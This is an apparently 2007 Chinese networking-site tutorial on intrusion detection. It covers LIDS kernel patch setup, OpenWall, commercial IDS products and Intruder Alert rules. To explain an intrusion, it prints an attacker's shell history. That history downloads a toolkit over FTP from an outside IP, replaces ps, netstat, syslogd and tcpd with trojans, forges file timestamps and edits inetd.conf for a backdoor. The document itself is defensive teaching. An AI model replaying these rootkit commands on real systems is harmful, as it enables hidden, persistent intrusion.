Cisco及华为网络技术论坛
您的位置:
首页 > Vlan9.com > 网络知识 > 正文 阅读排行榜

网络安全初体验之IDS入侵检测详解二


来源: 作者: 出处:Vlan9.com 2007-08-17 进入论坛

  基于内核的入侵检测

 

 基于内核的入侵检测是一种相当巧妙的新型的Linux入侵检测系统。现在最主要的基于内核的入侵检测系统叫做LIDS。

 

 什么是LIDS?LIDS是一种基于Linux内核的入侵检测和预防系统。

 

 LIDS的保护目的是防止超级用户root的篡改系统重要部分的。LIDS主要的特点是提高系统的安全性,防止直接的端口连接或者是存储器连接,防止原始磁碟的使用,同时还要保护系统日志文件。LIDS当然也会适当制止一些特定的系统操作,譬如:安装sniffer、修改防火墙的配置文件。

 

 LIDS文档工程

 

 LIDS比安装PortSentry和LogCheck要复杂一点,但是很幸运的是,在LIDS的主页上面有详细的安装和配置手册。

 

 安装LIDS

 

 首先,在安装之前,我们需要大部分最新的LIDS软件包(我使用的是0.9)和适当的内核版本。我现在使用的是从Red Hat主页上下载的2.2.14-12版本的内核,因为其中包含一些安全补丁。同时你也需要你使用的内核的一些源代码。

 

 现在的LIDS主要是适用于2.2.14版本的内核。我安装的在2.2.14的内核的Red Hat Linux 6.2上面安装了LIDS。在安装LIDS之前,我在ftp.redhat.com下载了最新的内核版本,并且依照http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html 安装了这个内核。

 

 接着的事情就是升级内核源代码。这里我们是这样做的:

 

 rpm -Uhv kernel-source-2.2.14-12.i386.rpm然后就是编译和安装lidsadm这个程序:

 

 cd /usr/local/src/security/lids-0.9/lidsadm-0.9make

 

 make install

 

 生成一个RipeMD-160口令,这个以后将会在安装进内核的:

 

 lidsadm -P输入口令是"anypass",得到秘钥"d502d92bfead11d1ef17887c9db07a78108859e8"。接着,我把Redhat的配置文件拷贝到我的结构体系中,在/usr/src/linux目录下面:

 

 cd /usr/src/linux/configs/

 

 cp kernel-2.2.12-i686.config ..

 

 下面我们就使用下面的命令来安装LIDS:

 

 cd /usr/src

 

 patch -p0 同时我们应该注意到Red Hat所提供的内核和Linus发布的标准的2.2.14版本的内核有一些细微的差别,因为其中包含一些修改过的驱动程序。同样lids-0.9-2.2.14-redhat.patch文件也是和LIDS发布的标准的lids-0.9-2.2.14.patch有一些细微的差别,不过可能后者并不是特别适合于Red Hat系统。

 

 最后,就是配置、编译和安装内核了:

 

 cd /usr/src/linuxmake menuconfig

 

 make dep; make clean

 

 make

 

 install; make modules; make modules_install

 

 下面的脚本展示了在配置内核的过程中我设置的LIDS配置选项:

 

 [*] Linux Intrusion Detection System support (EXPERIMENTAL)--- LIDS features

 

 [ ] Hang up console when raising a securit alert

 

 [*] Security alert when execing unprotected programs before sealing

 

 [ ] Do not execute unprotected programs before sealing LIDS

 

 [*] Enable init children lock feature

 

 [*] Try not to flood logs

 

 (60) Authorised time between two identic logs (seconds)

 

 [*] Allow switching LIDS protections

 

 RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8

 

 (3) Number of attempts to submit password

 

 (3) Time to wait after a fail (seconds)

 

 [*] Allow remote users to switch LIDS protections

 

 [ ] Allow any program to switch LIDS protections

 

 [*] Allow reloading config. file

 

 [ ] Hide some known processes

 

 [*] Port Scanner Detector in kernel

 

 [ ] Send security alerts through network

 

 --- Special authorizations

 

 [ ] Allow some known processes to access /dev/mem (xfree, etc.)

 

 [ ] Allow some known processes to access raw disk devices

 

 [ ] Allow some known processes to access io ports

 

 [ ] Allow some known processes to change routes

 

 --- Special UPS

 

 [*] Allow some known processes to unmount devices

 

 Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"

 

 [*] Unmounting capability is inherited

 

 [*] Allow some known processes to kill init children

 

 Allowed processes: "/etc/rc.d/init.d/halt"

 

 [*] Killing capability is inherited

 

 看得出,我没有使用UPS,同时运行的是一个需要能够远程访问的服务器,我就按照上面的文件进行了配置,但是在实际应用过程中,每个人的系统根据环境不一样,会有一些差别。

 

 配置LIDS:

 

 有一条特别要引起注意:在你的系统的下一次重启之前就应该配置好LIDS!我们应该使用lidsam来配置LIDS的配置文件/etc/lids.conf,而不能手动的修改。运行"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。LIDS提供了很多使用LIDS保护文件的例子,例如:

 

 lidsadm -A -r /sbin 这条命令保护/sbin整个目录,并且表示只读。

 

 我首先的LIDS配置文件应该是这样的:

 

 lidsadm -Zlidsadm -A -r /usr/bin

 

 lidsadm -A -r /bin

 

 lidsadm -A -r /usr/sbin

 

 lidsadm -A -r /sbin

 

 lidsadm -A -r /usr/X11R6/bin

 

 lidsadm -A -r /etc/rc.d

 

 lidsadm -A -r /etc/sysconfig

 

 一旦配置了LIDS的配置文件,就应该修改系统的启动文件保证在系统启动的时候就能运行LIDS,这样就能有效的在内核中启动LIDS的作用。一般我都是把lidsadm加到/etc/rc.d/rc.local的末尾,这样能够保证LIDS的功能不会妨碍系统的其他应用程序的正常启动。下面就是我加在/etc/rc/d/rc.local中用来启动LIDS的脚本:

 

 /sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO

 

 -CAP_SYS_ADMIN-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE

 

 +INIT_CHILDREN_LOCK

 

 配置lilo

 

 我们知道,使用Redhat的RPMS升级系统内核以后需要重新配置lilo.conf来保证编译加载过LIDS的新内核能够正常的启动。在下次重启之后,LIDS将会在系统中运行,不过如果你需要停止LIDS而执行一些系统的任务,就应该按照下面的命令进行:

 

 /sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL

 

 你需要提供LIDS的口令,当时在编译内核的时候在内核中加入了RipeMD-160格式。不知道你是否注意到了,在shutdown的脚本中,很多脚本都不能正常的工作。最终的shutdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由于在文件rc.local中 "+INIT_CHILDREN_LOCK"的保护作用,其他的进程都没有权限来杀掉init()的其他子进程。同时每隔10分钟,你就会收到一个关于"rmmod as"不能卸载模块的出错信息。这个主要是由于LIDS启动以后"-CAP_SYS_MODULE"的保护使得模块的插入或者卸载出现了毛病。我们可以删除/etc/cron.d/kmod这个文件来防止出错信息继续发生。

 

 LIDS能够保护什么?

 

 快速的浏览LIDS的文档就可以了解LIDS的一系列特性。而我认为下面的这些特性是最重要的:

 

 CAP_LINUX_IMMUTABLE 当文件和外那间系统被标识"immutable"防止被写; CAP_NET_ADMIN 防止篡改网络配置(例如:防止路由表被修改);

 

 CAP_SYS_MODULE 防止内核模块被插入或者移除;CAP_SYS_RAWIO 防止损坏磁盘或者设备I/O;

 

 CAP_SYS_ADMIN 防止大范围的使用其他系统功能;

 

 INIT_CHILDREN_LOCK which prevents child processes of the init() master process from being tampered with.

 

 无论在哪个点,上面这些特性都能够通过命令"lidsadm -I"来启动,通过"lidsadm -S"来禁用(可以允许真正的系统管理员来进行系统配置),同时提供已经安装在内核中的LIDS口令(是通过RipeMD-160加密的)。

 

 剖析一次入侵

 

 当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限,这个时候就是主机被入侵了(事实上是不可能发生的,但是安装Linux系统的人忘记了打上RedHat最新的关于缓冲区溢出的补丁程序,并且让系统一直运行着)。当然一些黑客也不够小心,当他们侵入主机后,很急切的获得了shell,但是他们经常没有考虑到BASH的命令将会被存入系统日志文件中,简单的阅读/.bash_history就可以了解黑客到底怎么机器上面作了一些什么事情。这个文件我们可以看看(为了更加简单我们做过一些细微的修改): mkdir /usr/lib/... ; cd /usr/lib/...ftp 200.192.58.201 21

 

 cd /usr/lib/...

 

 mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;

 

 mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;

 

 mv tcpd.gz? tcpd.gz

 

 gzip -d *

 

 chmod +x *

 

 mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;

 

 mv pt07 /usr/lib/; mv pstree /usr/bin ;

 

 /usr/lib/pt07

 

 touch -t 199910122110 /usr/lib/pt07

 

 touch -t 199910122110 /usr/sbin/syslogd

 

 touch -t 199910122110 /usr/sbin/tcpd

 

 touch -t 199910122110 /bin/ps

 

 touch -t 199910122110 /bin/netstat

 

 touch -t 199910122110 /usr/bin/pstree

 

 cat /etc/inetd.conf   grep -v 15678 >> /tmp/b

 

 mv /tmp/b /etc/inetd.conf

 

 killall -HUP inetd

 

 通读这些内容,我们就可以了解下面的一些动作:

 

 系统中建立了一个名字异常的目录(/usr/lib),接着黑客telnet到了自己的主机上面(200.192.58.201,是Brazil某个地方的拨号用户),同时下载了一套黑客工具。这些黑客工具尸没有经过压缩的,中间的一些特洛伊二进制程序被安装到了系统中了,这些特洛伊程序覆盖了系统的netstat,ps, tcpd, syslogd和pstree命令。这些程序是用来报告系统有那些进程正在运行,那些端口是打开的。

 

 我们从中能学到什么呢?

 

 首先,LIDS是不能阻止一次入侵的,黑客连接上主机通过缓冲区溢出的方式获得系统的root权限。一旦系统没有黑客入侵,我们看看LIDS是如何使破坏降到最低的。

 

 LIDS通过CAP_LINUX_IMMUTABLE选项可以防止特洛尹程序被写入到/bin,/usr/bin,/usr/sbin和/usr/lib目录中。这些目录我们一般都会标识为不可变的(chattr +i),因而也不会被修改。我们可以注意到,就算不使用LIDS,也可以通过chattr +I命令来标识目录为不可变的,但是如果是通过LIDS以后,即使是root也不能篡改不可变标识位。类似的,如果文件通过chattr +I被标识为,touck -t这个命令也会失败。甚至第一行的"mkdir /etc/lib"这个命令也会失败,如果我们标识文件为不可读的话。

 

 LIDS不能防止黑客入侵,但是可以防止入侵的黑客在侵入后进行很大的系统破坏。一个后门程序可以被安装上系统,但是没有特洛亦版本的ps,netstat和pstree能够很早的发现这个后门进程,然后kill之。如果没有LIDS,我们不可能知道黑客通过这个后门程序会做一些什么事情,我们唯一能够进行挽回的工作就是重装系统。

 

 OpenWall和LIDS----额外的层

 

 另外一个和LIDS相似的系统是OpenWall工程。OpenWall工程在很多地方和LIDS不一样,有一个OpenWall的特别的补丁就是使栈区为不可执行。下面是摘自OpenWall的README文档里面的申明:

 

 大多数缓冲区溢出攻击都是基于覆盖一些随意的程序片段中的函数返回值在堆栈中的地址,如果堆栈为不可执行,那么缓冲区溢出的弱点将会变得很难攻击。另外一种缓冲区溢出的方式是在libc中指出一个函数的返回地址,通常是system()。这个补丁通过修改mmap()化的共享库,使其总是一个零字节的文件。这样使其不能再指定一些数据,在很多攻击中不得不使用ASCIIZ字符串。

 

 最近,在LIDS的网上上有一些完整的LIDS+OpenWall的内核补丁,这样可以提供LIDS和OpenWall都具备的特性。

 

 在Linux系统中,通过使用这一系列的多层的安全措施,可以防止很大范围的攻击,同时还可以防止入侵或者篡改。系统被黑客入侵口就是网络接口,在网络接口,系统内核上我们都可以防止他人的入侵。意识到系统中的一些潜在的安全漏洞。任何运行在系统上的守护进程或者服务,不管是root用户还是非root用户运行的,都能够成为一个潜在的安全威胁。充分准备好面对这些威胁。

 

 入侵监测系统软件

 

 突出的IDS厂商包括Axent,ISS和Platinum Technology。在你选择产品时,请充分考虑哪一款产品更适合你的公司。有些产品具有优秀的图形界面,很容易使用。其它产品可能更具有扩展性。下列是部分厂商列表:

 

 ·Axent Intruder Alert(http://www.axent.com/)Cisco NetRanger(http://www.cisco.com/)

 

 ·ISS RealSecure(http://www.iss.net/)

 

 ·Computer Associates’ eTrust Intrusion Detection(formerly SessionWall 3)

 

 ·Computer Misuse Detection System(http://www.cmds.net/)

 

 ·Network Flight Recorder(http://www.nfr.com)

 

 ·Network Associates’ CyberCop Monitor(http://www.networkassociates.com)

 

 Intruder Alert

 

 Intruder Alert(ITA)是使用管理者/代理结构的功能强大的产品。管理者和代理可以运行于UNIX,NT和Novell网络中。ITA的第一个优点是它可以在许多网络环境中应用。由于公司很少只应用单一厂商的产品,所以你选择的IDS应该可以适用于尽可能多的厂商的产品。

 

 ITA的第二个优点是其分布式的管理结构。ITA软件包由两个服务和三个应用程序组成:

 

 ·ITA Manager(充当服务,守护进程或Novell的可装载的模块)

 

 ·ITA Agent(充当服务,守护进程或Novell的可装载的模块)

 

 ·ITA Admin(用来配置代理的应用程序)

 

 ·ITA View(用于查询代理的程序)

 

 ·ITA Setup(从管理者域中添加和删除代理的程序)

 

 ITA和防火墙

 

 防火墙会产生其它的连接问题。如果你试图连接处于防火墙保护下的代理,通常会因为防火墙只允许某些流量通过而失败。为了解决上述问题,请为该连接定义防火墙规则。

 

 定义策略和建立规则

 

 一旦你定义了策略,便可以开始使用它。你可以观看在Policy Library tree下的策略。然而,这个列表只是提供了潜在的策略。如果你希望更改工作中的代理,则点击活动的管理者图标然后是从Policy Library tree起源的策略。

 

 ITA View分三次列出一些或全部的策略。不要对这种重复感到迷惑:程序列出了活动的策略和任何你可能使用策略,还列出至少两个域的策略:缺省的所有代理和缺省的NT。第三个tree列出了你可能增添到缺省域中的策略。当然,你可以重命名这些缺省的域,也可以增加新的域。第四个tree列出了事先定义好的策略,你可以剪切并粘贴到策略库中,并激活它们。在观看Active Policies tree时你无法看到特殊的规则短语和条款。你可以在Policies tree的管理者名称(如Student10)下看到这些信息。

 

 规则的建立

 

 同eTrust Intrusion Detection一样,ITA的规则也包含一些子元素。这些对确定ITA监测哪些网络和主机以及采取哪些行为有所帮助。所有ITA的策略都包含三个部分:选择、忽略和动作。

 

 如果你希望确定一种特别的活动,例如NetBus连接或Land攻击,则 Select元素来定义。ITA针对你定义好的规则来实施特殊的行为。一旦你使用一个Select段并定义了事件,ITA就知道这个事件了。

 

 然而,ITA并不知道针对这个事件采取什么行动。Ignore段就是用来满足这个需要的。ITA将忽略任何你放在Ignore段中的条款,即使你已经定义过了。在Action段中的条款将决定ITA对你所定义的事件采取什么行为。如果你把相同的事件同时置于Ignore和Action段中的话,ITA不会对该事件采取行动。通常,Ignore段被用来处理误报。ITA规则使用Boolean逻辑。如果Select段被激活或为真,ITA将查看任何的Ignore和Action段。例如,在Action段中规定ITA将事件记录到日志文件中,而且Ignore段中没有覆盖这条逻辑的话,ITA将采用在Action段中定义的规则。

 

 对规则排序

 

 你可以决定每条规则的重要性顺序。每条规则可以具有0到100的值。0到33的值表示这条规则是个警告,34到66表示为中等程度的安全问题,而67到100表示已经发生了严重的安全问题。ITA并不会自己将这些新的规则进行排序,你需要投入事件正确地对它们排列优先级顺序。

 

 Indirect, Filter和Disable三个复选框对定义规则来说并不是必须的。这些只是ITA在应用规则时进行附加控制的。Indirect选项只允许当其它ITA规则引用时才运行,Filter选项将被其它规则检测到的事件删除掉,Disable在ITA检测时删除掉整个的规则。

 

 进行查询

 

 你可以使用ITA View进行查询。从ITA View的主界面,单击New按钮你可以定义并进行查询。Define New Filter对话框允许你连接管理者,然后直接从管理者向代理进行查询。从这里,你可以存储或装入事先定义好的能够帮助你快速了解某台主机安全状况的查询(例如filters)

 

 由于这个程序独立于ITA Admin运行,你必须重新登录管理者。这项要求加强了安全性,而且保证了一个程序的崩溃并不会影响到管理和查询代理。

 

 在连接好代理后,你可以开始进行查询。你的查询受限于你在ITA View中建立和激活的规则。你还可以根据优先级来进行查询。或者使用查询文本框,或者从管理者对象窗口向查询列表窗口拖拽查询项,然后选择Go。在查询对话框中的内容将覆盖在查询列表窗口的输入内容。

 

 购买IDS注意事项

 

 在选择产品时,请注意下列问题,见表

 

 有些IDS厂商不希望泄漏他们的产品的细节。然而,你要弄清楚是该公司不愿意泄漏这些重要信息,还是根本就没搞懂这些产品。

 

 建立基线是你在审计过程中应当采取的第一步。在建立基线时,先在网络活动的峰值期间运行IDS一段很短的时间。下面的连续将告诉你更多的关于整个网络活动的情况。掌握这些信息是唯一能够确定你所运行的网络是否“正常”的标准。确定在员工工作期间发生了哪种类型的活动。这些情况有助于你捕获那些有工业间谍或其它安全伤害的雇员行为。另外可以在晚间运行IDS,因为这是攻击者从外界进行攻击的最常见时段。 更多请看Cisco与华为技术网(Vlan9.com)路由安全配置IDS入侵检测网络管理实用手册专题,或进入论坛讨论。


vlan9_logo
相关专题

论坛精华
阅读排行榜
最新技术文档
热门关键字导读